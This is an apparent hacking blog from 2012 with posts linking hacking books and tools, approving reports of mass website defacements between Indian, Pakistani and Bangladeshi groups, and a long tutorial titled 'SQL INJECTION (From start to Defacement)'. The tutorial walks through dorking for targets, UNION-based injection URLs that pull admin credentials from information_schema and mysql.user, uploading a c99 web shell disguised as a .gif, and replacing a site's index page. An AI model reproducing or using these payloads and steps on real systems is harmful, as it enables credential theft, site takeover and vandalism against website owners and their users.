Minggu, 26 Februari 2012

Hacking books collection

hacking Books copy

Here I am sharing 5 most important Books for beginners and this books are perfect to learn for beginners and the books are hackers underground handbook , gray hat hacking 2nd edition , gray hat hacking 3rd edition , GPS hacking , Metasploit E-book these books are most important for noobs. It involves all the basic hacking tutorials like phishing , keylogging , sqli and many more tutorials.

The download links are as follow

download now !!

Rabu, 22 Februari 2012

Advance sql injection video tutorial download

sql_injection

Sql injection is the most conman webapplication vulnerability. and here I am sharing the advance sql injection vide tutorial. You can download before this post I have shared the basic sql injection now here I am sharing the video tutorial of the advanced sql injection.

You can download video tutorial here.

Minggu, 19 Februari 2012

Drupal Security Scanner Released

Drupal Security Scanner Released

drupal copy

Ali Elouafiq have released their first Security scanner for Drupal CMS on his blog. This tool is public and it will help hackers or pentester to do their job faster. Here I am showing you how to use this tool. After downloading the python script (download link provided at the end of the post.) you just simply type :

> python DPScan.py [web url]

you can download script from here.

Selasa, 14 Februari 2012

Fake news strikes the Cyber space

File

Recently a news posted by news portals like Deccan chronicals India wires. claiming 20k sites of India hacked by Bangla hackers as we read the content posted by these news portals we observe that they don't post any link linking to any list or mirrors of sites hacked they just post that news on the behalf of a Facebook page post by Bangla hackers actually Bangla hackers post on there Facebook page that they have hacked 20k sites without showing any list or mirrors so we investigate. and we find some shocking things actually bdhackers have not hacked more than 2000 sites with 1465 defacements and other ddos attack they claim to have problems with Indian govt. But they unable to hack a single govt. Site.

They also claims a shocking thing and news portal post it as eyes closed BD hackers claim that Indishell hacker Ash3ll have left the cyber space but Ash3ll is active on Facebook too.

The claims are all fake by BD hackers and news portals with closed eyes posted the news.(you can see that news here.) BD hackers also claims that Indiana hack there 400 sites but in private chat with Ash3ll we find that Indians haven't hack more than 200 sites and all they hacked are gov related sites according to Ash3ll Indians don't want to hack any innocent from Bangladesh he comments that because of some kids they are not going to hack innocents.

Indishell have hacked only .gov sites because they don't like to hack any innocent sites. you can see the mirrors of hacked Bangla websites by indishell here.

Sabtu, 11 Februari 2012

1000+ indian sites got Hacked By Shadow008 and H4x0rL1f3

1000+ indian sites got Hacked By Shadow008 and H4x0rL1f3

45

1000+ indian sites got Hacked By Shadow008 from pakistani hacker. you can see the message of deface page in this figure.

23

you can see the list of hacked sites here.

100+ Indian sites got hacked by Shadow008 and H4x0rL1f3

100+ Indian sites got hacked by Shadow008 and H4x0rL1f3

2

Pakistani hacker have attacked Indian cyber space and hacked 100+ Indian sites. And the message of defacepage is as follow.

23

You can see the list of hacked websites here.

150+ Bangla sites got hacked and Freezed by INDISHELL

Expire cyber army from Bangladesh are hacking Indian sites. And Indian cyber army (Indishell) have good relations with Bangladesh and they have promised Bangladesh that they will not hack Bangladeshi websites. But day by day they are hacking more and more Indian sites so Indian cyber Army (Indishell) have announced a cyber war between Bangladesh and India. And Indishell have hacked and freezed more then 150 Bangladeshi websites. The list of the hacked website is provided at the bottom of the post.

1

The list of hacked websites are here.

Senin, 06 Februari 2012

SQL INJECTION (From start to Defacement)

Here I am going to tech you how to hack website using sql injection. Follow the steps

sqlinjection

FINDING THE TARGET AND GETTING THE ADMIN PASSWORD.

First we should find our target website for that you can use this DORKS.

I am mostly using “ inurl:php?id= ”and giving you some dorks here copy any one and paste it in google and search. click here for more dorks.

Check for vulnerability.

well assume that we have one site like this

http://www.site.com/news.php?id=5

Now to test if its valuable we need to add (quote)after the end of url.

and that will be http://www.site.com/news.php?id=5’

after that hit Enter and if you got some error or if you found some missing content or missing pictures that means its vulnerable to sql injection.

Find the number of columns.

To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2)(
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s.
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )
we know that table admin exists. now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc. now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1. now we must complete query to look nice for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser. if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%200,1/*
note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%201,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%202,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc. To get the column names the method is the same. Here we use column_name and information_schema.columns
the method is same as above so example would be.
http://www.site.com/news.php?id=5union%20all%20select%201,column_name,3%20from%20information_schema.columns%20limit%200,1/*
the first column is diplayed. the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20limit%201,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc. if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_name=%27users%27/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email.
now to complete query to put them all together for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,concat%28user,0x3a,pass,0x3a,email%29%20from%20users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com

DEFACING THE WEBSITE

After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.

Now find the upload option and upload your shell (if you don’t have shell then click here to download)

some sites wont allow you to upload a php file. so rename it as c99.php.gif then upload it.
after that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir) find the c99.php.gif and click it now you can see a big control pannel.
now you can do what ever you want to do.
search for the index.html file and replace it with your own deface page. so if any one goes to that site they will see your page.

And you have did !! hope this tutorials helped you a little.

Happy hacking Smile